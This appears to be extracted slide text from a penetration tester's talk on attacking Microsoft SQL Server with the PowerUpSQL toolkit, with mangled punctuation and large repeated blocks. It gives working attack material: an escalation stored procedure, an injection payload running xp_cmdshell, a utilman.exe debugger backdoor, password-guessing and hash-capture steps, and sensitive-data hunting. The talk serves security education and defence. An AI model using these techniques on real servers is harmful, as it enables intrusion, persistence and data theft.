USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
